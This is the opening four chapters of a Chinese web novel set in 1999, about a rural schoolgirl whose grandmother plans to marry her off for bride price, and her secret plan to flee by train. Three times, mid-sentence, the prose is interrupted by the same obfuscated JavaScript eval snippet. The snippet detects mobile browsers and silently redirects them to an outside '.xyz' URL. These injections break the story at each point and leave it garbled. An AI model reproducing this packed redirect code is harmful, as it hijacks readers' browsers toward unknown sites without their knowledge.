《于此笼中》 1. 1999 1999年12月28日,距离千禧年还有八十一小时。 - “听说新年那天镇上会放烟花,等放学我们一起去看吧。” 西乡中学的水房门口,女孩清脆的声音里难掩兴奋和欢喜。在这个没那么新潮的学校里,‘迎接新世纪’是常听收音机的学生才能心照不宣的话题。 她对面的女孩笑容得意,“当然要去,那天王亮会带我去。你要是骑自行车,就跟在我们后面吧。” “王亮要带你?真的假的啊。” “我也不想的。”女孩说,“他一直邀请我,实在不好拒绝呀。” “哇,真羡慕你。” 这座学校设施破旧,水龙头年久失修,开关时会有刺耳的摩擦声。水房不起眼的角落里,昌灵将将洗完脸,关掉了水流。冷水打湿了她额前即将遮住眼睛的刘海。 水阀声打断了先前交谈的两个人。见昌灵要出门,两个女孩给她让出了半个身位的空隙。 “哎昌灵。”身型交错间女孩叫了一声昌灵的名字,“新年那天你要不要跟我们一起去?我可以骑车带你。” 说话的女孩是她同桌。 昌灵抬手用手背抹掉了下巴上摇摇欲坠的水滴,并未言语。 “算了吧,昌灵哪有时间跟我们玩。”另外一人拍拍她的棉衣,“听说你快结婚了,是吧?” 昌灵躲开搭在自己胳膊上不那么友善的手臂,低声说:“如果那天我没什么事,可以去找你们。” “好啊,那我们在镇中心的广场等等你,但你别带你对象来啊,我们跟他玩儿不到一起去。” 昌灵没回答,从两个人中间小心翼翼挤了出去,“马上要上体育课了,我先走了。” “嗯,去吧。” 她刚走出去三五米,身后没有刻意压低声音的话语就传到了耳朵里: “你干嘛说这个呀,昌灵又不想提。” “我说的是实话呀,她对象年纪那么大,怎么一起玩。” 昌灵双手紧握快走了两步,试图躲开那些无法辩驳的难堪。寒冬呼啸的北风透过楼道不那么紧密的窗子直扑她的耳际。面庞上未干的水渍在寒风的加持下,变成了一把把锈迹斑斑的短刀。 ——钝涩地割在她的脸上。 但冻僵之后是感觉不到疼痛的。 昌灵不由自主打了个寒战,咬着牙离开了那两个人的视线范围。 下一节是体育课,不会有老师点名。她今天还有更重要的事,和那个人说好的。 学校西北角的三层楼原本是家属楼。后来因为条件简陋,大家搬的搬,走的走,现在只有零星几户人家住在这里。 昌灵绕开早已生锈的楼道门,直直奔赴她今天的目的地,楼顶。 楼顶中间的小屋子是那个人的秘密处所。 昌灵站在门口一连做了几个深呼吸,这是她唯一的机会,绝不能出什么差错。 咚、咚、咚—— 指骨敲在厚重的木板门上回声也是沉闷,宛如昌灵现在的心境。 “没关。”片刻后里面传来那个人惯常的冷漠音色。 昌灵闭了闭眼缓缓推开门,屋子里的人正忙着往自己的胳膊上擦药酒。他受伤的是右臂,左手没有想象中灵活,药酒浪费掉不少。 又受伤了,昌灵想,那自己的胜算会大几分。 幸好衣服足够厚实,过度紧张而引发的心跳声不至于在狭小的空间里无处遁形。她定了定心神,冷静道:“你考虑得怎么样了?” 那人不应声,只把药酒罐子放到一边。而后熟练地抽出来一截绷带,缠了两圈后,用牙咬着想给自己打个结。 “易阁。”昌灵紧握双拳,“是你说今天会给我回答的。” “是吗。”易阁吐掉嘴里扯着的绷带,嘲讽地笑笑,“同学,你会不会太天真了。” “你的意思是,不想答应我?”昌灵尽量保持镇静地复述出她已经练习过几百次的对话,“既然这样,那就别怪我多嘴跟别人说些什么了。” 易阁视线倏地扫向她,“你真的以为这样能威胁我?” “我不想威胁你,我只是想求你帮帮我而已。” “那你求人的态度还真是与众不同。” 昌灵不在意他毫不掩饰的讥讽,按部就班说出自己预想好的台词:“这笔买卖很划算的,我不会耽误你任何事,如果你有需要的话,我也可以帮你。 “我们的目标是一致的。”她认真地说。 语气既不卑微,也不强硬,但让易阁打消了继续为难她的心思。昌灵说的没错,某种角度来说,他们的目标确实是一致的。 只不过…… “对你来说,这笔买卖是稳赚不赔。但除了让我多花钱,对我有什么好处吗?同学,你算盘打得很响嘛。” “我说了,我可以帮你!” “我没什么需要你帮的。”易阁不想跟她多纠缠,这件事权当自己倒霉,花钱消灾了。他指了指腕上的手表,“三十一号晚上八点,你在火车站等我,票我给你买。” 昌灵蓦地往事迈了一步,手指都要掐进掌心里,“你说话算话。” “你只要把嘴关严实了,这个阳历年,咱俩就都能过好了。” 昌灵:“你放心,只要你给我买票,不该说的话我一句都不会说。” “行。”易阁点了下头,“但你要怎么去火车站?这就不关我的事了吧。” “这个我自己会想办法,你只需要给我买到票。” 易阁抬了抬眉毛,扫了一眼大门,不动声色地下了逐客令。 昌灵不退反进,伸出右手小拇指,“你跟我拉钩。” “……”易阁皱皱眉,“你幼不幼稚。” 昌灵的手一直等在半空中。 二人僵持片刻,易阁黑着脸敷衍地勾了上去,“你最好准时到,我是不会等你的。” “好,你什么时候去买票?” “只要有钱,票随时都能买。” 昌灵当然知道,只是自己没有钱,去火车站也是难如登天。否则也不会寄希望于眼前这个人,易阁…… 她垂眸看着那条新伤叠旧伤的手臂,终究是于心不忍,蹲下身体捏住绷带的两端,给易阁系了一个不那么好看的蝴蝶结。 “你这手艺可真差劲。”易阁的语气难掩嫌弃。 昌灵没什么反应,“那我先走了。” “把门带上。” 他们二人不是能说“你好,再见”的关系,也没人那么不识趣。昌灵沉默地关上门,转身的瞬间长舒一口气。 太好了,这件事起码有了一个好的开始。 她步履稍显轻快地下楼,风打在脸上似乎都变得没那么痛。 一门之隔的房间里,易阁打量了一番自己的手臂,绑得是很丑,但起码比他的牙效果好一些。 厚衣服一遮也看不出来什么。 他把毛衣和外套的袖子一起拉下来,衣袖里的温度让人顿感舒适。 昌灵。 她的手可真冷冰。 ** 四天前,昌灵的三姐难产过世还未满两个月。 昌家有六个孩子,昌灵上面一个大哥三个姐姐,下面还有个最小的弟弟。父母祖辈,兄嫂姐弟,人口众多,全都挤在一处院子里。 两个姐姐一早就嫁了人,用收到的彩礼为聘才给大哥说了个媳妇。好在嫂子不是个难相处的人,小侄子也算得上是可爱。 三姐是去年结的婚,奶奶托人说的媒。嫁给了隔壁村养鱼的王家老二,比三姐大了十来岁,说是家境不错,早年做生意耽误了娶媳妇,人也长得周正。 昌家几个姐妹关系说不上多好,但昌灵和三姐相处的时间比其他几个人都要更久一些。三姐亲事说定那天在房间里哭了一整夜,最后抽噎着拉住昌灵的手,说:“灵灵,你一定要好好念书,从这里考出去,千万不要再回来了。” 昌灵不善言辞,更不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534996|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道该说什么,只能抱着三姐一起哭。心里忍不住想,奶奶真是好狠的心。 后来的日子照常平淡无奇的过着。三姐怀孕之后就没怎么回过家里,昌灵日复一日的上学,两个人大半年也没能再见一面。 如果说姐姐没了是昌灵噩梦的开端,那后面发生的事无疑是人间地狱。 王家老二带着父母和媒人吵上门来,叫嚷着自己家人财两空,大的小的都没保住,让昌家父母归还彩礼钱。 昌父是个沉默的老好人,昌母为难得很,说这种事自己一个女人做不了主的。去世的是她女儿,昌母比任何人都伤心,可要说彩礼钱,那钱现在确实不在她手里。 屋子里七八双眼睛一齐看向另一头端坐的老太太,她人瘦小,但眼角眉梢都透露着算计的精光。 老太太把手里的茶杯磕在桌子上,扶着桌沿站起来,中气十足:“小俪没了我们家才是受害者,养大个女孩儿多不容易啊,人是给你家生孩子才没的。” 王家老二不满道:“奶奶,你这话是什么意思?” “我也不是想怪你。”老太太慢悠悠往前挪了几步,“咱们两家都不容易嘛。” “别说那些没用的了,给昌俪办后事的钱可都是我们家出的,我对她算是仁至义尽了,现在你就说彩礼的事儿该怎么办吧。” 昌家在场的人互相对视了几眼,片刻后昌母试探着说:“要不,退……” “你们家是想要钱还是想要人啊?”老太太瞪了她一眼,抢在昌母前面说道。 王老二满脸不可思议:“要人怎么个要法?我下去陪昌俪?” 一听这话王家父母急了眼,“你们会不会说话啊?欺负人是吧!” “你们昌家这是故意的?!” “这是哪门子话啊亲家。”老太太心里暗骂了两句,把话挑明了说,“我们家还有个老四,你们之前也见过的。” “老四?”王老二想了一会儿,回头跟他父母说,“老四不错啊,老四也行。” 昌母忽地变了脸色,拧着眉推了推昌父,示意他站出来说话。昌父为难地在老婆和妈中间来回看了几眼,始终一言不发。昌母恨铁不成钢地暗捶了他好几下,才忍怒开口道:“妈,你这话是什么意思,老四她还小呢。” “快二十了,也不小了。”老太太看都没看她一眼,淡淡地说,“这儿还没你说话的份儿。” “可是……” “奶奶。”大嫂出声打断了两个人的对话,扶着老太太坐下,在她耳边悄声说,“这账您可没算对呀。” 老太太对她向来不错,愿意给个好脸色,闻言疑惑地问为什么。大嫂环顾四周,王家几个人还在嘀嘀咕咕没注意她们,才放心道:“四妹妹读书读得好,没准儿还能考上大学呢,怎么能白白填进三妹妹的窟窿里,这彩礼钱我们可不是亏死了。” 老太太顿时醍醐灌顶,嫁两个孩子,怎么能只收一份彩礼呢。 她拍拍大嫂的手,多亏这聪明的孙媳妇提醒。 王家几个人一商量,觉得这事可行,脸色缓和不少,“老四在哪,今天我们就带她回去。” 老太太挺了挺腰杆拿乔道:“但你们应该也知道,老四是我们家读书最多的孩子,街坊邻里等着给她说亲的人可都排不上号了。” “那你们家的意思是?” “老三的彩礼,还给你们也行,但人没了,说破了天也就能还你们一半。”老太太顿了顿说,“但老四嘛,彩礼可就要另算了。” “你们家这是要狮子大开口啊?还想要双份?!” “咱们两家亲戚一场,说双份多伤感情。老四什么样你们也见过的,再补一半,添个齐全,说出去他也好听啊。” 这场打着嫁娶旗号的‘买卖’,在场众人都各怀心思。 王家人没第一时间应下,只说再回去考虑考虑。一行人咋咋唬唬出门时,昌灵背靠着房间门脱力般滑了下去。 房间离正屋不远,她听得一清二楚。 2. 1999 昌灵房间的窗户总是关不严,为了防止漏风,都是用废纸填紧了窗缝。 一墙之隔,正屋那边正准备吃晚饭。 “都几点了,老四今天怎么还没回来?”大哥把煮熟的鸡蛋放在桌子上敲了两下,随手递给嫂子。 嫂子习以为常地接过去剥壳,“按理说早该放学了,有什么事耽误了吧,饭我给她留锅里了。” “你就不用管她,毛病都是惯出来的。”老太太啃了口饼子,“都几点了还不回来,难道还想让一家子人饿着肚子等她吃饭?” 大嫂把剥好的鸡蛋放到大哥碗里,“四妹妹爱学习嘛。” “学那么多有什么用啊,等她嫁了人不还是得一样过日子吗。”老太太满脸不屑,饼渣掉了一身。 昌父始终沉默着低头扒饭。 昌母闻言放下筷子,“妈,你还真想让灵灵嫁给王家老二?她才十七啊。” “我管她十七还是二十七,只要王家点头,嫁不嫁可由不得她。” “可是……” “可是什么可是,当初老三不也是哭着喊着不要嫁,最后怎么着?过得不比在昌家好啊。” “妈,老三都没了,你说这些还有什么用啊。”昌母把头偏过去,哽咽着抹了两滴眼泪。 “就知道哭。”老太太白了她一眼,“老四那个死丫头,都几点了还不回来。” 昌灵苦笑着抵在门后,深感自己像个笑话。 今天星期五,最后一节课的老师临时有事,提前放了学。没想到这个家里居然没有一个人发现她早已经回来了。 现在,要直接出去吗? 昌灵出神地望着屋子里仅有的那扇窗户,寒风呼呼作响,带来了冬的冷漠荒凉。片刻后她推窗翻了出去。 从屋后绕了一圈回来,昌灵镇定地推开大门,像往常一样:“我回来了。” 不一样的是,从前家里是没有人招呼她的,而今天—— 老太太伸长了脖子:“老四,怎么这么晚才回来。” 昌灵掐了掐手心,“也没有很晚吧,在学校写了会儿题,我以前也经常这个时间。” “回来的正好,洗手过来吃饭吧。”嫂子说完起身从厨房端出来一碗热菜。 昌灵点头应下,故作轻松地在桌前坐好。一桌人神态各异、各怀心思,一时无话。 昌灵是没什么食欲的,她戳了戳炖得发白的油麦菜,暗下决心要为自己做点什么。她环顾四周,轻声说:“我刚听外面的人说今天王家人来过,是三姐那边还有什么事吗?” “……”众人夹菜的动作皆是一顿,眼神不自觉地飘到老太太身上。 昌灵刻意追问道:“是出什么事了吗?” 老太太很镇定:“能有什么事,一点儿小事而已,用不着你操心。” 昌灵轻轻眨了下眼睛,原来还真的想瞒着她,把人当傻子骗。 “这样啊。”她微微点头,把眼前的烂菜叶丢了出去。 刷碗的活儿一直是昌灵在做,压水井里的水冰到刺骨,加进去的一丁点儿热水也聊胜于无。但她顾不上这些了。 奶奶是什么意思,这么大的事不准备告诉她?还是说等王家同意后,直接把自己硬塞过去,根本不需要提前知会? “四妹妹。” 身后突如其来的声音吓得昌灵一哆嗦。 “怎么了?”大嫂走到她身侧,“我吓到你了?” 昌灵垂下眼睫,“没有。” “心不在焉的,想什么呢?” “今天有道题,老师讲过了但我还是没听明白。” “是吗。”大嫂把昌灵洗好的碗放回橱柜里,“我还以为,是有人跟你说了什么呢。” 昌灵闻言朝后撇了她一眼,掩下了心中的慌乱:“说什么?” “没什么。”嫂子说,“有些事你还是不知道的好。” 昌灵装作若无其事:“什么事?为什么?” “没什么,随便说说,反正我是这么想的。” 等昌灵把剩下的碗洗好放回橱柜时,嫂子已经回屋去了。她的回答,昌灵始终也没想明白。 电灯的拉线就悬在门旁,线不够长,昌灵每次都需要踮脚才能够得到。 昏黄的灯光幽幽亮起,地上还散落着她翻窗时匆忙扔下的堵窗的废纸。昌灵叹了口气,弯腰去捡。 窗子还是要堵的,不然和睡在野地里无异。这么多年,面对这样的寒冬,她早已驾轻就熟。 纸团握在手里原本是没什么重量的,昌灵惯常低着头,不偏不倚看到了纸团内重叠着的一点鲜亮。她一愣,随即小心翼翼将纸展平了些。 堵窗的纸都是随手拿的。眼下这张被反复揉搓过的‘废纸’,正是三姐结婚时贴在窗户上的喜字。 昌灵一眨不眨地盯着手里的‘喜’。片刻后,泪水从她的脸庞快速滑过,顺着下巴无声滴落在水泥地上,一滴、两滴。像夏日里欲落不落的急雨,看似来势汹汹,实则转瞬即逝,不会给人带来任何麻烦。 她向来不会给别人添麻烦。 昌灵觉得胸口像是压了一块大石头,沉重到让人喘不过气。 这件事,还会不会有转圜的余地?她天真地想,大嫂口中那件不想告诉她的事,会不会因为奶奶的狮子大开口而不了了之? ** 气温一天比一天更低,清晨的玻璃上结满了霜花,昌灵几乎一夜未眠。太阳升起时她坐在床前对着玻璃哈了口热气,也只融化了一点点边缘。 冷得让人感受不到希望。 “老四起来了没有?”老太太围坐在正屋的热炕上嚷嚷着喊她。 昌灵套上厚棉袄慢吞吞地走过去,“怎么了,奶奶。” 老太太随即把昌灵的弟弟推到她面前,“你自己跟你姐说哪儿不舒服。” 弟弟闻言难受地吸了吸鼻子,“四姐,我流鼻涕了。” 昌灵语气淡淡的:“感冒了?昨天不还好好的吗。” “还不都是你妈。”老太太对着窗外高声埋怨,“昨天晚上把炕烧得那么热,热的我孙子半夜蹬被子,一下子就冻着了,大冬天的白遭这个罪。” “……”昌灵感到一种无法言喻的荒谬,她无话可说。 老太太:“你去卫生室给他买点药,喃,给你钱。” 昌灵紧盯着递到眼前的几张纸币,片刻后接过来塞进口袋里说‘知道了’,转身头也不回地往外走。 路过门口水盆时随手用里面的冷水洗了把脸,走过了门房还能听到老太太趴在窗前喊:“买点好的药给他。” 她置若罔闻。 卫生室距离昌灵家大概四五公里,比学校稍微近一些。 她拢了拢刚刚齐肩的短发,贴着下颌骨一起塞进了棉袄的领子里,埋头踏进了风中。 老树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534997|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枯枝,街道冷清,一路上几乎没什么行人。昌灵想,天气这样凉,王家人应该不会来了吧。 一个小时后,她堪堪到了此行的目的地。昌灵伸手把衣领折下来,大幅度张了张被冻僵的嘴巴。 卫生室外挂上了厚厚的门帘,因着在家里没什么存在感而养成的习惯,她掀开帘子的动作十分轻缓,不会引起别人的注意。 人一进屋里,扑面而来的暖意糊得她脸颊发烫。这卫生室待遇可太好了,比她的房间还要暖和许多。 昌灵往手心哈气又用力搓了搓,顺着几处柜子打量了一圈,药柜前空无一人,大夫应该在里面的隔间里。 正当她想敲敲柜面示意有人来了时,隔间里传来了带着责备的交谈声。昌灵无意偷听,只是想等里面的人忙完再说。 反正她又累又冷,并不着急。 伴随着一道中年男人的叹息,昌灵听到那人说:“你怎么都不知道躲。” 对方说了什么昌灵没听到,或许是没有说话。 “下次你直接跑就好了,别这么傻。 “她不是故意的,你别怪她。 “要不这段时间你就先待在学校里,或者去哪个同学家住一住。” 昌灵想,应该是被人打了吧。 原本以为这位的自言自语不会有什么回应,絮絮叨叨说了半天后,她意料之外听到了对方的回答: “把药给我,我自己弄。” 不耐烦的语气,青年人的音色。 果然是受伤了。 “我来吧。”中年人说,“再熬一段时间,等你考上大学就没事了。” 昌灵闻言往隔间的方向瞟了一眼,考大学?那不就是和自己同岁。 青年人陡然提高了音量嗤笑道:“熬?你想让我怎么熬?” 昌灵一愣,片刻后回身重重地推了下卫生室的大门,果不其然,隔间里的争吵声戛然而止。 穿着白大褂的大夫掀开隔间的帘子,面色发白却挂着和善的微笑,开口询问:“小同学,有哪里不舒服吗?” 是里间说话的中年人。 身型干瘦,头发灰白,看面色却也不过四十岁左右,一看就知道是个好人。和他说话那人挨了打,还要反过来责怪大夫,遇上这种不讲理的病人真是倒霉。 但昌灵是很少笑的,心理活动再多面上也只是勉强放轻了语气,衬得自己态度很好,“我弟弟感冒了,想买一点感冒的药。” “什么症状?多大的孩子?我这儿有散装的,还有成盒的。” 昌灵一一回答了大夫的话,最后着重强调,“要最便宜的。” 大夫:“可以的,按粒买就行。他这是轻症,吃个两天也就好了。你要几天的?” 昌灵自然知道是轻症,就算不吃药过两天也就没事了,自己跑这一趟无非是有个爱小题大作的奶奶。 她说:“两天的就行。” 大夫把药给她包好,昌灵接过来塞进口袋里,和剩余的钱放在一起。 “拿好了,我看你衣服穿得也不多,多给你放了一片。外面冷,走路慢些。” 昌灵揪着自己棉袄的衣角,半晌僵硬地说:“谢谢。” “不客气。” 临出门前,她回头望了一眼。大夫抬起门帘重新回到隔间去,帘子落下的间隙,昌灵看到了一条伤痕累累的手臂。 像是被细枝条抽的那样。 3. 1999 昌灵的弟弟说药太苦,闹着不肯吃,吵得隔壁房间哥嫂的小孩直哭。老太太哪边都不好发脾气,甩手掌柜般把药塞给了昌灵。 “你哄你弟弟吃上,我出去转悠转悠。”她细心地给自己围好围巾后,又朝昌灵摊开手,“把买药剩下的钱给我。” 昌灵倒水的动作一滞,片刻后说:“没有剩,钱是正好的。” 老太太闻言用力扯了一下她的衣袖,“你在这睁着眼说瞎话?这几片药才几块钱?” 昌灵把水放在弟弟面前,面不改色道:“十块,是正好的。” “你……” “奶奶。”此时大嫂推开隔壁的门,笑着探出头来,“你最近没去卫生室吧,药都涨价了,现在可不便宜。” 老太太半信半疑:“真的假的?现在大夫这么黑心?” “他们黑不黑心的,小弟都得吃药啊。”大嫂说,“总不能让小弟一直在家干受罪吧。” “那倒也是。”老太太把茶杯送到孙子嘴边,“你赶紧吃了吧,吃了就好受了。” 弟弟把脸扭向一边:“我不吃,我不吃。” “你这孩子!” 昌灵把弟弟往自己身边拉了拉,“一会儿我喂他吧。” 老太太这才满意地出了门。 “我不吃!”老太太前脚刚走,弟弟就挣开昌灵的双手,“你说什么我也不吃。” 大嫂被他吵得烦,干脆利落地关上了房门。 昌灵顺势松开他,“不用你吃药,我跟你做个交换吧?” “什么交换?我什么都不给你。” 昌灵哄劝道:“我不逼你吃药,而且我会跟奶奶说你吃过了。” 弟弟脑袋一歪,“四姐,你有这么好?” “但你要跟奶奶说你还是不舒服,需要姐姐给你买药。” “为什么?” “只要你听我的,作为交换,我既不让你吃药,还会给你买糖。” “你不会是骗我的吧?” 昌灵伸出手,“不骗你,拉钩。” “拉钩!” 弟弟拉完钩高高兴兴地开始穿衣服,说要去隔壁同学家里打弹珠。昌灵给他叠了几张卫生纸放在的口袋里,叮嘱道:“去别人家要注意卫生,流鼻涕就要擦。” “知道了知道了。”弟弟从炕上跳下来,鞋带都顾不得系,撒腿就跑,没两步远就摔了个大马趴。 昌灵听到声音抬眸看了一眼,没动作,弟弟穿得圆圆滚滚,摔不疼他。还没等她问一句能不能站起来,只见摔跤的小孩一声不吭地爬起来拍拍身上的灰,一溜烟儿没了人影。 奶奶不在,连弟弟都变可爱了些。 昌灵收拾完茶杯攥着没吃的药回房间,路过大嫂房间时不由自主地多看了一眼。刚才嫂子说的药涨价,无疑是谎话。 只是不知道她这样说是因为不想听奶奶一直掰扯这件事,还是真的想给昌灵解围。 前者是为了自己的清净,后者是为了昌灵,从出发点来说有非常大的不同。 昌灵想不明白,也顾不上多想。 她回到房间后的第一件事就是插上门拴的插销,从桌前搬来小方凳挡在门后,又从床底深处摸出来私藏已久的糖果盒子抱在怀里背对着门坐下。 开盖之前她吹了吹面上的浮灰。 盒子还是二姐结婚时遗留下的,昌灵觉得它漂亮,便从墙角的垃圾堆里捡了回来。洗刷干净后就一直放在她的床下,平时放一些面值很小的钱和硬币。 都是昌灵往日一点点省下来的。 她把口袋里的钱一起放进去,数了又数,也只够买一张短途的客车票。 真的需要走吗?这能走得掉吗? 昌灵揉了揉干涩发疼的眼眶,想哭又哭不出来。王家一直没有再来,奶奶又出门去了,会不会其实王家没那么想娶她,就像卫生室那位大夫说的那样,只要熬过考大学就没事了。 ** 昌灵一整天都像一只惊弓之鸟,但凡门口有点不寻常的声音,她都一阵心惊肉跳。这样的惊吓一直持续到晚饭后,就在昌灵以为今天已经平安无事度过去的时候。 木门被推开的声音在小孩熙熙攘攘的吵闹声里说不上很明显,但昌灵还是第一个听到了。 她微微睁大了眼睛盯着门口。 在院子里挖土的弟弟是最先出声的,“三姐夫,你怎么又来了。” 王老二摸摸他的头,“这也算是我家,我还不能来了啊。” “空着手就来。”弟弟摇头晃脑地说,“这样可不好。” “你这小鬼,行,下次给你买好吃的。” 弟弟把挖土的手放在他大腿上蹭了蹭。 “三妹夫怎么这个点来了,没留你的饭啊。”大嫂听见声音从房间里迎出来,昌父昌母紧随其后。不出一分钟,昌家人就在正屋聚了个齐整。 “爸妈,奶奶。”王老二搬了个凳子在昌灵身边坐下,态度和昨天相比简直是一百八十度大转弯。 寒冬腊月的暖房里,昌灵第一次觉得脊背发凉。 老太太人精似的,看他的脸色就知道自己的谋划八九不离十,端着长辈的架子说:“你们这些年轻人做事就是毛毛躁躁,你看,有什么事不都可以商量吗。” “奶奶说的是。”王老二笑了下,“我今天来,就是想问问灵灵的生辰八字。”说完很自然地把手放在了昌灵凳子边的空位上,拇指紧贴着昌灵的大腿。 ——昌灵腾地站了起来。 惯力带倒了身后的凳子,也吓得没防备的王老二一个踉跄。 “你怎么了?”他狼狈地稳住身形,抬头看着昌灵。 众人也神色各异地看着她。 昌灵想,这种时候自己不该哭的,可开口还是带上了无法掩饰的哽咽,“你们瞒着我什么事,到现在了还不打算告诉我吗?” 王老二:“灵灵你还不知道呢?没事儿,现在知道也不晚。把你的八字告诉我,我让我爸妈去算个好日子,接你过门,这点绝不让你受委屈。” 昌灵手指抠着桌子边缘,恨不得抬手掀了这张桌子,犹豫再三,到底还是做不到。半晌后,她满眼失望地看向自己的母亲,“妈,你没有什么话想说吗?” 昌母眼含热泪,捂着嘴把脸转向一旁。 就知道会是这样,昌灵心中冷笑,几个姐姐是这样,现在她也是这样。 只不过自己比她们更可悲,更可笑,居然还妄想着考上大学,逃离西乡。 “老大家的,把你妹妹弄回房间去。”老太太怕昌灵耽误事儿,连忙招呼大嫂道。 大嫂左右看了两眼,片刻后过来拉住昌灵的胳膊,附在她的耳边说:“你别在这了四妹妹,没什么用的。 “后面的事,我们可以从长计议。” 从长计议?昌灵尝到了嘴角的咸苦味道,眼神空洞绝望,“嫂子说话好轻巧。” 大嫂听到这话也不生气,双手推着昌灵往外走,“先回房间吧。” 院子里的冷风吹干了一道道温热眼泪,并不圆满的月亮高悬在夜空之上,照不见世间的冷暖人情。 天还要多久才会亮呢。 大嫂坐在书桌前翻了翻昌灵的课本,忍不住夸赞道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534998|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小妹写字真好看。” 昌灵没什么反应。 “我之前没告诉你这件事,也是怕让你烦心,毕竟王家当时没有一口应下,总还有其他可能。”嫂子顿了一下,又问:“你心里怪我啊?” 昌灵疲惫地眨了下眼睛,“怪不怪你又有什么用。” 到底是谁促成的这桩婚事,她心里一清二楚。 “你现在想什么呢?”大嫂问,“不想嫁去王家?” “换做是你你会想嫁吗?” 大嫂摇摇头,“不会,但也确实没什么办法。” 昌灵侧目看着她。 大嫂:“你这是什么眼神?怨我?” “……”昌灵不想回答。 “趁现在咱们还在一个家里,有什么话就说说吧,说出来心里会好受些。” 过了不知道多久,大概有一柱香那么长,昌灵才哑声说:“我说了你也不会懂的。” “我怎么不懂。”大嫂翘起二郎腿,“我也是这么被送到你家的啊。” 昌灵:“……” 大嫂问:“忘了?” 昌灵:记得的。 “我以一个过来人的身份告诉你,现在这个世道,我们女人没得选。等家里收了彩礼,你就是王家的人了。 “三妹妹那份也算在你这里,他家给的彩礼只多不少,你嫁过去日子也会好过些。” 昌灵脑袋垂得很低,半晌才闷声说道:“你在我家的日子好过吗?” 大嫂想了想,“也还好吧,命不错,替昌家生了个孙子,现在吃喝不愁,也不用被奶奶逼着一直生。如果是个女娃,保不齐过得是什么日子呢。” 昌灵提着嘴角苦笑,嘴唇因为情绪激动而小幅度颤抖着,如果嫂子生的是个女孩,那不就是小时候的她自己吗。 大嫂见她不说话,问道:“我说的不对吗?” “错了。”昌灵轻声说,“大错特错了。” “哪里错了?” “嫂子,你没去城里看过吧?我们老师说了,城里有计划生育,没人敢违反的。就算是女娃,那也会是家里唯一的孩子,跟男娃一样。” 大嫂怔愣片刻,“可我们不在城里啊,在西乡能过上现在的日子不就已经很好了吗。” “所以我才努力读书啊,不就是为了将来有一天能留在城里吗。”昌灵说完痛苦地闭上眼睛,此刻的眼泪只能展现无力和懦弱,她不想这样的。 “可是,城里也未必有你想的那么好吧。” “……”昌灵噤了声,不再与她争辩。人各有志,她左右不了别人的思想。 王老二没在昌家多待,草草聊了几句,打听明白昌灵的八字就心满意足回了家。大嫂出去之后,昌母又来她的房间掉了几滴意味不明的眼泪。 昌灵自始至终面无表情,心中的怨恨却在这一时刻达到了顶峰。 你们为什么要生这么多孩子,既然养了,又为什么不能保护好她们? 待母亲离开之后,昌灵换了件黑棉袄,从窗户翻了出去。 冬日昼短夜长,挂钟的指针刚过七点,外面已是伸手不见五指。幸亏这条路昌灵白日里刚刚走过,算得上熟悉,但不免还是会害怕。身后一点风吹草动,她都要回头反复确认。 直到走到有亮光的地方才悄悄放下心来。 这里的巷子分布复杂,白天看还好,夜晚只能小心辨认才不会走错路。距离卫生室还有两个路口时,昌灵听到了小巷深处嘈杂的厮打声。 她身形一顿。 与此同时,身后不远处踢踢踏踏的脚步声正逐渐逼近。 4. 1999 昌灵被夹在两拨人中间,再想掉头逃跑已经来不及了。 她惊慌地扫视了一圈附近的遮挡物,在后面的人赶到之前躲进了一辆带顶三轮车和墙面之间的夹角缝隙里。 暂时安全。 “住手!都住手!”后来的那拨人停在离昌灵不远的位置大声嚷嚷着。 巷子里的人也很给面子,配合的止住了拳脚,这片土地顿时清净不少。 一行人慢慢悠悠从巷子最深处晃出来,两个男生带头走在最前方。 “你们来得挺快嘛。”其中一人扬声说道。 说话间,巷子深处窜出来一个人,迅速跑到了敌方阵营,口齿不清地哭诉:“大哥,就是他们打我。” “知道我是谁吗你们!昨天你们的人骂我兄弟,我们揍他一顿怎么了。”那人啐了一口,“你们今天还敢动手?哪个学校的,报上名来!” “说出来吓死你!”先前说话的人拾起一块碎砖头猛地砸在了对方脚下,双方当即扭打着抱在了一起。 昌灵屏住呼吸,努力蜷缩起自己的身体。巷子里充斥着此起彼伏的叫喊声。 不知道过了多久,混乱的声音渐渐平息下来。昌灵大着胆子朝外看了一眼,地上横七竖八躺着哎呦哎呦喊妈的小年轻,也零零散散站着几个人,脸上大都挂了点儿彩,除了一个人—— 他坐在墙边垒高的木材上,双手插兜冷漠地看着眼前一片狼藉的场景,像个事不关己的局外人。 昌灵难免多看了他一眼,怎么好像在哪里见过。 “你们,你们给我等着!”地上的人挣扎着爬起来,互相搀扶着往后退,嘴上依旧叫骂个不停。 